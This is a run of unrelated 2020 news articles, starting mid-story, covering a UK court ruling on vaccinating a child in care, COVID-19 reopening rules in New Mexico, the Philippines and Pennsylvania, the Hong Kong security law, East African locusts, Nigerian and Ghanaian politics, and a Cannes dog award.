The parents then went to the Court of Appeal, but at a hearing in April, they dropped part of the appeal, saying they were no longer challenging the merits of the High Courts order permitting the council to arrange Ts vaccinations.

The healthy boys immunisations are now due to go ahead.

Health news in pictures Show all 40 1 /40 Health news in pictures Health news in pictures Coronavirus outbreak The coronavirus Covid-19 has hit the UK leading to the deaths of two people so far and prompting warnings from the Department of Health AFP via Getty Health news in pictures Thousands of emergency patients told to take taxi to hospital Thousands of 999 patients in England are being told to get a taxi to hospital, figures have showed. The number of patients outside London who were refused an ambulance rose by 83 per cent in the past year as demand for services grows Getty Health news in pictures Vape related deaths spike A vaping-related lung disease has claimed the lives of 11 people in the US in recent weeks. The US Centre for Disease Control and Prevention has more than 100 officials investigating the cause of the mystery illness, and has warned citizens against smoking e-cigarette products until more is known, particularly if modified or bought off the street Getty Health news in pictures Baldness cure looks to be a step closer Researchers in the US claim to have overcome one of the major hurdles to cultivating human follicles from stem cells. The new system allows cells to grow in a structured tuft and emerge from the skin Sanford Burnham Preybs Health news in pictures Two hours a week spent in nature can improve health A study in the journal Scientific Reports suggests that a dose of nature of just two hours a week is associated with better health and psychological wellbeing Shutterstock Health news in pictures Air pollution linked to fertility issues in women Exposure to air from traffic-clogged streets could leave women with fewer years to have children, a study has found. Italian researchers found women living in the most polluted areas were three times more likely to show signs they were running low on eggs than those who lived in cleaner surroundings, potentially triggering an earlier menopause Getty/iStock Health news in pictures Junk food ads could be banned before watershed Junk food adverts on TV and online could be banned before 9pm as part of Government plans to fight the "epidemic" of childhood obesity. Plans for the new watershed have been put out for public consultation in a bid to combat the growing crisis, the Department of Health and Social Care (DHSC) said PA Health news in pictures Breeding with neanderthals helped humans fight diseases On migrating from Africa around 70,000 years ago, humans bumped into the neanderthals of Eurasia. While humans were weak to the diseases of the new lands, breeding with the resident neanderthals made for a better equipped immune system PA Health news in pictures Cancer breath test to be trialled in Britain The breath biopsy device is designed to detect cancer hallmarks in molecules exhaled by patients Getty Health news in pictures Average 10 year old has consumed the recommended amount of sugar for an adult By their 10th birthdy, children have on average already eaten more sugar than the recommended amount for an 18 year old. The average 10 year old consumes the equivalent to 13 sugar cubes a day, 8 more than is recommended PA Health news in pictures Child health experts advise switching off screens an hour before bed While there is not enough evidence of harm to recommend UK-wide limits on screen use, the Royal College of Paediatrics and Child Health have advised that children should avoid screens for an hour before bed time to avoid disrupting their sleep Getty Health news in pictures Daily aspirin is unnecessary for older people in good health, study finds A study published in the New England Journal of Medicine has found that many elderly people are taking daily aspirin to little or no avail Getty Health news in pictures Vaping could lead to cancer, US study finds A study by the University of Minnesota's Masonic Cancer Centre has found that the carcinogenic chemicals formaldehyde, acrolein, and methylglyoxal are present in the saliva of E-cigarette users Reuters Health news in pictures More children are obese and diabetic There has been a 41% increase in children with type 2 diabetes since 2014, the National Paediatric Diabetes Audit has found. Obesity is a leading cause Reuters Health news in pictures Most child antidepressants are ineffective and can lead to suicidal thoughts The majority of antidepressants are ineffective and may be unsafe, for children and teenager with major depression, experts have warned. In what is the most comprehensive comparison of 14 commonly prescribed antidepressant drugs to date, researchers found that only one brand was more effective at relieving symptoms of depression than a placebo. Another popular drug, venlafaxine, was shown increase the risk users engaging in suicidal thoughts and attempts at suicide Getty Health news in pictures Gay, lesbian and bisexual adults at higher risk of heart disease, study claims Researchers at the Baptist Health South Florida Clinic in Miami focused on seven areas of controllable heart health and found these minority groups were particularly likely to be smokers and to have poorly controlled blood sugar iStock Health news in pictures Breakfast cereals targeted at children contain 'steadily high' sugar levels since 1992 despite producer claims A major pressure group has issued a fresh warning about perilously high amounts of sugar in breakfast cereals, specifically those designed for children, and has said that levels have barely been cut at all in the last two and a half decades Getty Health news in pictures Potholes are making us fat, NHS watchdog warns New guidance by the National Institute for Health and Care Excellence (NICE), the body which determines what treatment the NHS should fund, said lax road repairs and car-dominated streets were contributing to the obesity epidemic by preventing members of the public from keeping active PA Health news in pictures New menopause drugs offer women relief from 'debilitating' hot flushes A new class of treatments for women going through the menopause is able to reduce numbers of debilitating hot flushes by as much as three quarters in a matter of days, a trial has found. The drug used in the trial belongs to a group known as NKB antagonists (blockers), which were developed as a treatment for schizophrenia but have been sitting on a shelf unused, according to Professor Waljit Dhillo, a professor of endocrinology and metabolism REX Health news in pictures Doctors should prescribe more antidepressants for people with mental health problems, study finds Research from Oxford University found that more than one million extra people suffering from mental health problems would benefit from being prescribed drugs and criticised ideological reasons doctors use to avoid doing so. Getty Health news in pictures Student dies of flu after NHS advice to stay at home and avoid A&E The family of a teenager who died from flu has urged people not to delay going to A&E if they are worried about their symptoms. Melissa Whiteley, an 18-year-old engineering student from Hanford in Stoke-on-Trent, fell ill at Christmas and died in hospital a month later. Just Giving Health news in pictures Government to review thousands of harmful vaginal mesh implants The Government has pledged to review tens of thousands of cases where women have been given harmful vaginal mesh implants. Getty Health news in pictures Jeremy Hunt announces 'zero suicides ambition' for the NHS The NHS will be asked to go further to prevent the deaths of patients in its care as part of a zero suicide ambition being launched today Getty Health news in pictures Human trials start with cancer treatment that primes immune system to kill off tumours Human trials have begun with a new cancer therapy that can prime the immune system to eradicate tumours. The treatment, that works similarly to a vaccine, is a combination of two existing drugs, of which tiny amounts are injected into the solid bulk of a tumour. Nephron Health news in pictures Babies' health suffers from being born near fracking sites, finds major study Mothers living within a kilometre of a fracking site were 25 per cent more likely to have a child born at low birth weight, which increase their chances of asthma, ADHD and other issues Getty Health news in pictures NHS reviewing thousands of cervical cancer smear tests after women wrongly given all-clear Thousands of cervical cancer screening results are under review after failings at a laboratory meant some women were incorrectly given the all-clear. A number of women have already been told to contact their doctors following the identification of procedural issues in the service provided by Pathology First Laboratory. Rex Health news in pictures Potential key to halting breast cancer's spread discovered by scientists Most breast cancer patients do not die from their initial tumour, but from secondary malignant growths (metastases), where cancer cells are able to enter the blood and survive to invade new sites. Asparagine, a molecule named after asparagus where it was first identified in high quantities, has now been shown to be an essential ingredient for tumour cells to gain these migratory properties. Getty Health news in pictures NHS nursing vacancies at record high with more than 34,000 roles advertised A record number of nursing and midwifery positions are currently being advertised by the NHS, with more than 34,000 positions currently vacant, according to the latest data. Demand for nurses was 19 per cent higher between July and September 2017 than the same period two years ago. REX Health news in pictures Cannabis extract could provide new class of treatment for psychosis CBD has a broadly opposite effect to delta-9-tetrahydrocannabinol (THC), the main active component in cannabis and the substance that causes paranoia and anxiety. Getty Health news in pictures Over 75,000 sign petition calling for Richard Branson's Virgin Care to hand settlement money back to NHS Mr Bransons company sued the NHS last year after it lost out on an 82m contract to provide childrens health services across Surrey, citing concerns over serious flaws in the way the contract was awarded PA Health news in pictures More than 700 fewer nurses training in England in first year after NHS bursary scrapped The numbers of people accepted to study nursing in England fell 3 per cent in 2017, while the numbers accepted in Wales and Scotland, where the bursaries were kept, increased 8.4 per cent and 8 per cent respectively Getty Health news in pictures Landmark study links Tory austerity to 120,000 deaths The paper found that there were 45,000 more deaths in the first four years of Tory-led efficiencies than would have been expected if funding had stayed at pre-election levels. On this trajectory that could rise to nearly 200,000 excess deaths by the end of 2020, even with the extra funding that has been earmarked for public sector services this year. Reuters Health news in pictures Long commutes carry health risks Hours of commuting may be mind-numbingly dull, but new research shows that it might also be having an adverse effect on both your health and performance at work. Longer commutes also appear to have a significant impact on mental wellbeing, with those commuting longer 33 per cent more likely to suffer from depression Shutterstock Health news in pictures You cannot be fit and fat It is not possible to be overweight and healthy, a major new study has concluded. The study of 3.5 million Britons found that even metabolically healthy obese people are still at a higher risk of heart disease or a stroke than those with a normal weight range Getty Health news in pictures Sleep deprivation When you feel particularly exhausted, it can definitely feel like you are also lacking in brain capacity. Now, a new study has suggested this could be because chronic sleep deprivation can actually cause the brain to eat itself Shutterstock Health news in pictures Exercise classes offering 45 minute naps launch David Lloyd Gyms have launched a new health and fitness class which is essentially a bunch of people taking a nap for 45 minutes. The fitness group was spurred to launch the napercise class after research revealed 86 per cent of parents said they were fatigued. The class is therefore predominantly aimed at parents but you actually do not have to have children to take part Getty Health news in pictures 'Fundamental right to health' to be axed after Brexit, lawyers warn Tobacco and alcohol companies could win more easily in court cases such as the recent battle over plain cigarette packaging if the EU Charter of Fundamental Rights is abandoned, a barrister and public health professor have said Getty Health news in pictures 'Thousands dying' due to fear over non-existent statin side-effects A major new study into the side effects of the cholesterol-lowering medicine suggests common symptoms such as muscle pain and weakness are not caused by the drugs themselves Getty Health news in pictures Babies born to fathers aged under 25 have higher risk of autism New research has found that babies born to fathers under the age of 25 or over 51 are at higher risk of developing autism and other social disorders. The study, conducted by the Seaver Autism Center for Research and Treatment at Mount Sinai, found that these children are actually more advanced than their peers as infants, but then fall behind by the time they hit their teenage years Getty Health news in pictures Cycling to work could halve risk of cancer and heart disease Commuters who swap their car or bus pass for a bike could cut their risk of developing heart disease and cancer by almost half, new research suggests  but campaigners have warned there is still an urgent need to improve road conditions for cyclists. Cycling to work is linked to a lower risk of developing cancer by 45 per cent and cardiovascular disease by 46 per cent, according to a study of a quarter of a million people. Walking to work also brought health benefits, the University of Glasgow researchers found, but not to the same degree as cycling. Getty

The Court of Appeal was asked to decide whether a local authority has the powers to arrange for the routine vaccination of a child in its care where the parents have refused to consent.

Giving the courts judgment, Lady Justice King said: The question that arises here is whether the local authority has the power to consent to vaccination in the best interests of the child, and thereby to provide lawful authority for something that is not compulsory.

She added: Although vaccinations are not compulsory, the scientific evidence now clearly establishes that it is in the best medical interests of children to be vaccinated in accordance with Public Health Englands guidance unless there is a specific contra-indication in an individual case.

She concluded that, under the Children Act, a local authority with a care order can arrange and consent to a child in its care being vaccinated where it is satisfied that it is in the best interests of that individual child, notwithstanding the objections of parents.

Additional reporting by Press Association
Kampala: Locusts, COVID-19 and deadly flooding pose a "triple threat" to millions of people across East Africa, officials warned Thursday, while the World Bank announced a $US500 million ($761 million) program for countries affected by the historic desert locust swarms.

A new and larger generation of the voracious insects, numbering in the billions, is on the move in East Africa, where some countries haven't seen such an outbreak in 70 years. Climate change is in part to blame.

A farmer's son raises his arms as he is surrounded by desert locusts while trying to chase them away from his crops, in Katitika village, Kitui county, Kenya. Credit:AP

The added threat of COVID-19 imperils a region that already was home to about 20 per cent of the world's population of food-insecure people, including millions in South Sudan and Somalia.

Yemen in the nearby Arabian Peninsula is also threatened, and United Nations officials warn that if locusts are not brought under control there, the conflict-hit country will remain a reservoir for further infestations in the region.
Copyright  2020 Albuquerque Journal

A mandate that New Mexico restaurateurs log and store customers contact information is raising concerns as the industry gears up to potentially reopen in-person dining rooms in early June.

The rule, which state officials said relates to the need for COVID-19 contact tracing efforts, was one of many requirements and recommended practices announced by the state government late last week as more sectors of New Mexicos economy start to reopen. Restaurants will be required to retain a daily log for at least four weeks including the date, name and phone number or email address of all customers and employees who enter the establishment.

George Gundrey, owner of Tomasitas and the Atrisco Cafe & Bar, said he is happy to implement a system that collects information from customers on a voluntary basis, but expressed concern about making it mandatory.

Theres going to be some customers who are very offended by this, he said.

Jean Bernstein, owner and CEO of Flying Star Cafe, agreed, saying the requirement will be difficult to enforce, and has the potential to put employees in dangerous situations if customers become combative.

It could end up becoming a difficult scene, Bernstein said.

Bernstein said the mandate singles out restaurants unfairly, noting that retailers and offices were not required to comply with gathering customer contact information, though it appears on the list of best practices for all employers.

I just wonder why Walmart doesnt have to do it, Bernstein said.

At a Wednesday news conference, Gov. Michelle Lujan Grisham said restaurants, along with gyms, salons and movie theaters, could be allowed to open with limited capacity on June 1, provided the state remains on track to meet a series of criteria related to containing the spread of the virus. The states current public health order runs through May 31.

However, the Governors Office left open the possibility that requirements for restaurants may continue to evolve.

Nora Meyers Sackett, press secretary for the Governors Office, wrote in an email that the New Mexico Economic Recovery Council is still consulting with businesses from around the state on how to safely enter the next phase of reopening.

Contact tracing will be a critical element of living in a COVID-positive world, but the policy continues to be reviewed in advance of the next public health order and could be amended, she wrote.

Carol Wight, CEO of the New Mexico Restaurant Association, said shes optimistic the governor will make the requirement voluntary. She pointed to a similar issue in Washington, where Gov. Jay Inslee made a similar measure voluntary for restaurants after originally listing it as a requirement. Wight said giving restaurants the option to let customers choose whether to give their information might make the requirement more palatable.

I think most restaurants would do it on a voluntary basis, she said.
The government of Ghana is working on over 600 new health facilities according to the Deputy Information Minister, Pius Enam Hadzide.



These facilities include; Community-Based Health Planning and Services (CHPS) compounds, nurses' quarters, doctors' bungalows, maternity wards, district hospitals among others.



Pius Enam Hadzide who was speaking in an interview on 'Me Man Nti' programme on Neat FM reaffirmed that "from the smallest facility to the biggest; were working on over 600; fresh ones out of which about 300 have been completed and 300 are yet to be completed".



NDC hospitals



The Deputy Minister reiterated that the ruling government has not abandoned health projects started by the previous NDC administration.



According to him, they inherited about 31 health facilities; out which 15 have been completed.



He said for instance ten (10) health facilities started by the previous NDC admiinistration in the Central region have all been completed by the Akufo-Addo adminitration.



" . . so it is never true that weve abandoned Mahamas hospitals. The NDC administration indeed started some of them and we have completed most of them," he said.



Listen to his submission in the video below





Source: Rebecca Addo Tetteh/Peacefmonline.com









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Nigeria Immigration Service (NIS), Ogun Command, has arrested 14 Togolese and 10 Nigerians at Ajilete and Ilase border posts in the state.

The NIS spokesman, Sunday James, disclosed this in a statement made available to the News Agency of Nigeria (NAN) on Thursday in Abuja.

The Comptroller, Ogun State Command, Kunle Osisanya, said that the arrests were made by NIS operatives in line with federal governments directives.

According to Mr Osisanya, the 14 Togolese, comprising eight female adults and six minors, were arrested in a J5 bus at Ajilete, in Ogun.

The other 10 were arrested at Ilase, also in Ogun State, and out of the 10, five were victims of human trafficking.

Hence, they will be handed over to NAPTIP for defying the directive of government on closure of land borders, he said.

Mr Osisanya said that the arrested persons had been profiled accordingly by health officials in line with NCDC medical procedures and subjected them to COVID-19 test.

He said that the NIS Comptroller General, Mr Muhammad Babandede, complimented the officers for being gallant and professional.

He commended the efforts of the officers, noting that, some of the arrest were made along illegal points created by the human smugglers.

He, however, charged them to up the tempo of their patrol as the service would continue to ensure safety of the nation.

(NAN)
Editors note:

Since establishing diplomatic ties in 1951, China and Pakistan have enjoyed a close and mutually beneficial relationship. 2020 marks the 69th anniversary of the two nations establishment of diplomatic relations, while bilateral relations have also solidified since the COVID-19 outbreak. In an interview with Peoples daily Online, Pakistani Ambassador to China, Naghmana Alamgir Hashmi, shared her view on the two nations future bilateral relations. Below is a script of the ambassadors remarks.

Naghmana Alamgir Hashmi, Pakistani ambassador to China

Pakistan and China are All Weather Strategic Cooperative Partners and Iron Brothers, most reliable partners and closest neighbors, as both countries enjoy wide-ranging engagements in political, economic and cultural spheres. Our bilateral ties are based on convergence of interests and are rooted in common experiences of the past, cultural affinity, mutual trust and understanding.

Both countries have deepened their all-weather cooperation in recent years and expanded bilateral ties in diverse fields of cooperation for mutual benefit. Prime Minister Imran Khan has demonstrated his total commitment to further deepening bilateral ties with China amply manifested in the three visits he paid in less than two years. President Arif Alvi also visited China in March this year to express solidarity with the Chinese people in their war against COVID-19 pandemic.

Both countries are now trying to bring their economic and trade relations at par with their political relations. In the past, both countries have concluded agreements to enhance bilateral cooperation in trade, infrastructure, industrial cooperation and cultural cooperation, devising various mechanisms for their implementation. I am satisfied to note that our cooperation has yielded positive results with mutual benefits. Thanks to our bilateral cooperation, Pakistan has succeeded in laying a robust and solid infrastructure network to support its growing economy and overcome festering energy shortages which stifled our growth.

Both countries now look forward to build upon these gains, extending them to other unexplored territories and working together on an array of projects for the socio-economic uplift of the people of Pakistan. The successful conclusion of Phase-II of China-Pakistan Free Trade Agreement (CPEC) has opened a new window to spur our bilateral trade.

We are also determined to timely complete all ongoing CPEC projects and make it a high quality development project of the Belt and Road Initiative. The leadership of the two countries have forged the consensus that Phase-II of CPEC would focus on poverty alleviation, socio-economic development, agriculture and the industrial development in Pakistan. We are devising policies to attract Chinese entrepreneurs for investment in above areas for a robust, inclusive and sustainable growth. We are also hopeful to make a positive headway in building Main Line-I railway project, which carries immense significance for Pakistan.

I am confident that with the strategic vision and guidance of leadership of our two countries; toil and labor of our respective departments, and the support of our people, all our ideas and expectations for further development of all-weather bilateral ties would be materialized.
Activists in Hong Kong are calling for a restart to the mass protest movement that has been largely suspended by the coronavirus pandemic, after China announced its intention to impose a controversial new national security law on the semi-autonomous city.

Critics of the legislation, which was being debated on Friday at Beijings delayed national congress, said it was intended to erode the hard-won freedoms of Hong Kongs citizens and stifle criticism through force and fear.

The new law would allow Beijings national security agencies to set up bureaus in Hong Kong for the first time, and crack down on what central China calls sedition, secession and foreign interference.

Such terms have been commonly used in Chinese state media to denigrate the months-long protest movement that saw violent street clashes in Hong Kong throughout most of last year.

Protest leaders in the city, including Joshua Wong, called on Friday for a resumption of street action in response to the legislation. Mr Wong tweeted that Beijing was attempting to silence Hong Kongers critical voices. Deep down, protesters know, we insist not because we are strong, but because we have no other choice, he said.

This is a great moment to reboot the protest, said university student Kay, 24, who participated in last years mass anti-government and anti-Beijing demonstrations.

Hong Kongs main political opposition also registered its alarm at the new law, calling it a threat to the one country, two systems principle that underpins the citys autonomy, and the end of Hong Kong as we know it.

Xi Jinping has torn away the whole pretence of one country, two systems, former pro-democracy MP Lee Cheuk-yan told a media briefing. He said the move showed that Beijing was directly taking control.

Theyre trying to ban every organisation in Hong Kong who dares to speak out against the Communist Party, he said, describing it as a challenge to global values of freedom and liberty.

The US expressed its concern on Thursday night as details of the new law emerged, with Donald Trump warning that Washington would react very strongly if Beijing went ahead with it.

In response, China said it opposed foreign interference in Hong Kong and that no country would allow separatists to endanger national security. Chinese foreign ministry spokesperson Zhao Lijian said Beijing seeks cooperation and dialogue with Washington, but will fight back if the US tries to oppress China.

Hong Kongs government defended the new law, saying it aimed to punish those who cause violence or seek independence from China, and that the law would not undermine the citys judicial independence.

The security law is Chinas biggest step in years to take control of matters in Hong Kong. A similar piece of national security legislation was proposed in Hong Kongs devolved assembly back in 2003 but was dropped amid a huge backlash that saw half a million people take to the streets.

Beijing now appears to have run out of patience for the measures to be forced through locally. The proposed law was the headline feature to be debated at the scaled-back National Peoples Congress (NPC)  Chinas parliament, largely a rubber-stamp exercise for the policies Xi Jinpings executive.

President Xi and other top party leaders appeared without masks at the congress, which had been delayed for two months by the coronavirus pandemic, in front of about 5,000 masked parliamentary delegates.

Attendants at the NPC, including select foreign media, were required to provide multiple negative swab tests for Covid-19 before they were permitted to enter Beijings Great Hall of the People.

In his opening address, which was considerably shorter than normal, the Chinese premier, Li Keqiang, said the Hong Kong law still needed to be perfected but would ultimately improve national security. He said the citys autonomy would be protected, saying that the people of Hong Kong govern Hong Kong.

The other headline announcement from the congress was that China will not be setting an economic growth target for the coming year, for the first time since it started announcing such targets in 1990. Chinas economy contracted 6.8 per cent in the first quarter of 2020 as the coronavirus outbreak paralysed production.
Metro Manila (CNN Philippines, May 21) - Eating inside restaurants and other establishments may be allowed again, a Cabinet official said on Thursday.

Trade Secretary Ramon Lopez said he may propose to allow restaurants to hold dine-in services for a few customers amid COVID-19 quarantine restrictions if health measures are followed.

Lopez said he will visit some fast-food establishments on Saturday to check on their safety protocols and this will determine if his department will suggest a reopening.

"'Pag tayo ay nakumbinsi na safe po na kumain at iimplement 'yung minimum health protocol, we will propose the opening of dine-in," he told the Senate in a hearing held online.

[Translation: If we are convinced that it is safe to eat (in restaurants) and minimum health protocol will be implemented, we will propose the opening of dine-in.]

However, Lopez suggested that only 50 percent of capacity should be used, depending on how big the establishment is, to maintain social distancing.

The secretary was responding to Senator Cynthia Villar, who said she spoke to some restaurant businesses that may be forced to lay off their employees or declare bankruptcy due to losses.

Lopez agreed it was important to bring back dine-ins, noting that 70 percent of a restaurant's revenue comes from dine-in profits. He maintained there is a "good chance" that dine-in services will be available again.

Under the modified enhanced community quarantine and general community quarantine guidelines, restaurants may operate but only for takeout and delivery purposes.

READ: LIST: Businesses allowed to reopen in Metro Manila, areas under modified ECQ by May 16
A pastor in Baltimore, Maryland, tore a cease and desist letter in front of his congregation on Wednesday, after he was ordered by l...





A pastor in Baltimore, Maryland, tore a cease and desist letter in front of his congregation on Wednesday, after he was ordered by local officials to stop hosting in-person services during coronavirus lockdowns.





The Maryland Governor, Larry Hogan had announced on Friday that places of worship could reopen at 50 percent capacity.





However, a service officiated by the Calvary Baptist Church Pastor, Stacey Shiflett was attended by hundreds of the church members.





The development prompted an action from the Baltimore Council Executives who decided against it on a local level.





The Pastor was held in violation of Baltimore County Department of Health and Human Services order and was given a fine of $5,000.





In spite of the threat of a fine, on Wednesday, he returned to the church where he tore a cease-and-desist letter from local officials in front of his congregation.





According to him, Pharaoh doesnt get to dictate to Gods people how they worship their God.





He said God is the only one that defines the perimeters.





God is the only one that communicates his will and his plan for his church, not Egypt.





With this cease-and-desist letter in my hand, the Bible says to the New Testament church not forsaking the assembling of yourselves together as the manner of some is, but so much more as you see the day approaching.





The closer we get to Jesus coming back, the more church we ought to be having, not less church.





Now thats Gods parameters.





So, Im tearing up this cease-and-desist order right here, and Im telling you right now, were gonna do it Gods way!





God tells us how to worship Him, nobody else gets to do that.
Uggie the adorable terrier from the Oscar-winning film "The Artist" was posthumously awarded the Palm Dog of Palm Dogs Friday for the best canine performance ever at the Cannes film festival. With the film world in mourning after Cannes was cancelled because of the coronavirus, the ceremony was conducted virtually, with Dash -- Uggie's old friend and understudy, who also appeared in the 2011 silent comedy -- accepting the diamante-encrusted collar on his behalf. Uggie passed away five years ago aged 13 but not before charming the world after making his first big splash at Cannes. The Palm Dog is the doggie version of the festival's top prize, the Palme d'Or, and almost as sought after, with Quentin Tarantino, Noah Baumbach and Jim Jarsmusch among a galaxy of top-dog directors who have emerged from the pack with the highly-prized collar between their teeth. Cannes would have reached its climax this weekend had the coronavirus not struck, completely overturning the movie calendar and now even calling the Oscars into question. - Cans of tinned rat - Palm Dog founder Toby Rose told AFP that he decided to honour Uggie not just for being the greatest Hollywood hound in the Palm Dog's two-decade history, but for proudly wearing the collar on his worldwide publicity tour for the film. "Every single year a journalist will pose the question, 'Is there going to be a year with (films with) no dogs?" We been doing this 19, coming on 20 years and dogs and directors never fail to come up with the goods," he added. Indeed Tarantino admitted that he had his eye on the collar last year for "my wonderful actress Brandy", a pit bull who liked to chomp cans of tinned rat and who savaged the baddies in the gory final scene of "Once Upon A Time... In Hollywood". "I'm not going to give this to her -- it'll go on my mantelpiece," he proudly told AFP after the dog who very nearly upstaged Brad Pitt won the award. Uggie's trainer Omar Von Muller, who also worked on "Once Upon a Time in Hollywood", said winning the Palm Dog was the launchpad for "The Artist" and its fairytale Oscar success. "At the time we really didn't know how the movie would do and that's when the whole thing started going everywhere," he told AFP from his home north of Los Angeles, which is festooned with portraits of Uggie. - 'He loved the attention' - "Uggie was a very, very special friend. He was a family member... He loved to work and the attention he got on set. He will be in our hearts forever," Von Muller said. "Things like the Palm Dog are very important for us because it recognises the work" dog trainers do, he said. Van Muller said they were no secrets to training dogs other than having heart and passion and making sure the dogs "enjoy what they're doing without ever being pressured... It starts very slowly, with a lot of patience and a lot love for the dogs." Rose said the Palm Dog has since expanded its scope with its "Dogmanitarian" prize, honouring among others the British social realist master Ken Loach, who has made three-legged dogs a fixture in his films. "It represents the underdog," for which Loach has fought throughout his long career, Rose said. "Ken was so fabulously embracing of the idea and even told us about the castings," he told AFP. Can you imagine, Rose joked, "having to say to a three-legged dog, 'Sorry you ain't got the role.'" Uggie with 'The Artist' co-stars Missi Pyle, Jean Dujardin and Penelope Ann Miller back in 2012 Uggie (l) with his understudy Dash Dog trainer Omar von Muller and Uggie up the Empire State building in New York. The talented dog 'was a family member' he says.
The Peoples Democratic Party (PDP) has lambasted Muhammadu Buhari-led administration for attempting to transfer the brunt of its failures to articulate and coordinate an effective national response on COVID-19 pandemic on state governors.

The opposition party described such move by the presidency as unpardonable manifestation of leadership failure.

The party said in a statement on Friday, that Nigerians can recall how our party and other well-meaning Nigerians repeatedly counseled the Buhari Presidency to involve state governors, the private sector and critical stakeholders for an effective multisectoral and multilayered approach, to no avail.

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The Buhari Presidency rebuffed wise counsels and settled for a parochial response marred by corruption, nepotism, incompetence and narrow-minded politics, only to now turn to seek to transfer the brunt of its colossal failure to state governors.

The announcement by the National Coordinator of the failed Presidential Task Force (PTF) on COVID-19, Dr. Sani Aliyu, that state governments should now start taking ownership of the response, was also described by PDP as an acceptance of failure by President Buhari, who failed to lead from the front but abdicated the task to incompetent and narrow-minded officials.

Our party invites Nigerians to note that the three states, where the Buhari-led Federal Government took up the management of the COVID-19 pandemic, namely; Abuja, Lagos and Ogun states, had recorded very high statistics in infection and fatality rates compared to states where it was not involved.

This shows that had President Buhari involved the states and allowed for a multilayered, people-based approach in the distribution of palliatives, development of therapeutics and implementation of protocols, the situation would have been better handled.

Now that the Buhari Presidency has come to its wits end, our party urges governors elected on the platform of the PDP to assist their colleagues in the APC with information, strategies and expertise, for effective national response for the pandemic.

Read Also: Buhari Appoints Professor Godswill Obioma As New NECO Registrar

Furthermore, the PDP urges Mr. President and his PTF to do the nation a favour by taking accommodation in the backseat and allowing competent hands to manage the situation.

Our party urges the state governors to brace up to the occasion and rally the private sector for homegrown solutions, which the APC-led Federal Government had failed to achieve due to sheer incompetence and corruption.

The PDP therefore charges the Buhari Presidency to immediately give detailed account of all funds and other resources it claimed to have spent, particularly on palliatives; a scheme that have been exposed to be a huge scam.
Governor Tom Wolf is planning to announce that all Pa. counties, including Philadelphia and its suburbs, will move to the 'yellow' phrase of reopening Read more

Pennsylvania counties still under strict coronavirus restrictions  including hard-hit Philadelphia and its suburbs  will move to the yellow phase of reopening by June 5, Gov. Tom Wolf announced Friday.

Eight counties  Dauphin, Franklin, Huntingdon, Lebanon, Luzerne, Monroe, Pike, and Schuylkill  will move to yellow on May 29. The counties of Berks, Bucks, Chester, Delaware, Lackawanna, Lancaster, Lehigh, Montgomery, Northampton, and Philadelphia will begin the yellow phase the following week, on June 5.

Under the Wolf administrations reopening plan, the yellow phase means most but not all businesses can reopen, limitations on public gatherings remain, and restaurants and bars remain closed to in-person business. Gyms, salons, malls, and movie theaters also remain closed. Of the states 67 counties, 49 are already in the yellow phase.

Philadelphia Mayor Jim Kenney said Friday his administration would release guidance next week on what Philadelphians need to know when we move to the yellow phase and reminded residents that the stay-at-home order is still in effect.

The next two weeks are critical  if we see a spike in cases it will jeopardize any hope we have of beginning to open, Kenney warned.

 READ MORE: When will we reopen? How Pennsylvania decides whats in the red, yellow, and green phases.

The governor on Friday also announced the first group of counties that will move to the green phase, which lifts business-closure orders entirely but still requires establishments to implement safety and social-distancing procedures. Restaurants, salons, gyms, malls, and movie theaters can operate at 50% capacity or less, and there are limits on sporting events and concert venues. The counties moving to that phase  all concentrated in the northern and central parts of the state  will do so May 29.

The Wolf administration did not release specific benchmarks counties must meet to move into the green phase, other than saying counties that have been in the yellow phase for the requisite 14 days have been closely monitored for the risk associated with transitioning to the green phase.

Among the metrics established by Wolfs administration to determine when counties could move from red to yellow were testing capacity and hospitalization rates, as well as a requirement that counties report fewer than 50 new cases per 100,000 residents over the course of 14 days.

No county in the southeastern part of the commonwealth has reached that benchmark yet; Delaware County, which has the highest per capita case rate in the Philadelphia region, according to state data, is farthest away from that measure.

Four weeks after announcing that benchmark, Health Secretary Rachel Levine said it was now less critical as a metric, and Wolf said his administration had broadened the number of things that we look at."

State officials feel comfortable and confident that Philadelphia will be in a position to reopen some businesses by June 5, Wolf said during a Friday news conference.

Asked to address critics who say Wolf has completely changed his plans and abandoned certain metrics for reopening, the governor said the plan was always fluid and took into account multiple factors, including testing capacity, which has improved.

The governor said he was trying to do what a democracy is supposed to do in a crisis and that he did not plan to operate under the powers granted to him in an emergency for any longer than necessary.

My stay-at-home order did exactly what it intended to do," Wolf said. It saved lives.

While Republicans in the General Assembly have for months pressured the administration to reopen parts of the economy more quickly, Democrats in Southeastern Pennsylvania have also over the past week increased pressure on Wolf to communicate ways their counties could move to the yellow phase. Some local officials have pressured the administration to change its reopening metrics and count coronavirus cases in long-term care facilities as separate from other confirmed cases.

Chester County commissioners said in a statement Friday they were pleased the governor planned to relax restrictions in the county. They plan to roll out a program next week to begin preparing business and organizations to reopen with safety measures in place and aim to move Chester County to the green phase no later than the end of June, they said.

Both Chester and Bucks Counties began tracking positive cases by their onset date, as opposed to when they were reported by labs, hospitals, and other health-care facilities, unlike state health officials. That, combined with contact tracing, said Bucks County Health Director David Damsker, has given his county a clearer picture of where and how the virus was spreading.

Damsker, who said the county could reopen safely, called the governors metric for a downward trajectory of cases arbitrary.

We could tell our  pure community spread is down, said Damsker.

After Wolfs announcement, Archbishop Nelson Perez announced Friday night on Facebook that he expected the celebration of daily and Sunday Masses in the Archdiocese of Philadelphia to resume on June 6.

Philadelphia Health Commissioner Thomas Farley said the city would move carefully and have systems in place to measure any increased viral activity as the region eases restrictions. Officials are watching not only the number of new coronavirus cases per day but also how many hospital beds are available, how much testing is occurring, and other metrics, he said.

He advised residents to prepare for a new normal that includes changes to everyday life to prevent the spread of the coronavirus. Adjustments will include limits on the number of people in one indoor space together, Plexiglas barriers between people to prevent the spread of respiratory droplets, decals on store floors for spacing in lines, and the use of masks.

Because COVID-19 can re-surge at any time, we still need to be smart, wear masks, limit gatherings, work from home as much as possible, and look out for one another," Kenney said in a statement. When some sectors of our economy reopen, businesses must do everything possible to keep employees and customers safe.

The states social distancing and business closures saved lives, Wolf said as he announced the reopening plans and thanked Pennsylvanians for their efforts.

It feels as though a minute passed and an eternity, both, since Pennsylvanias first COVID-19 case on March 6, the governor said. We didnt know how severe Pennsylvanias outbreak would become or if we could stop it from growing.  Today we have a lot more answers than we did back then.

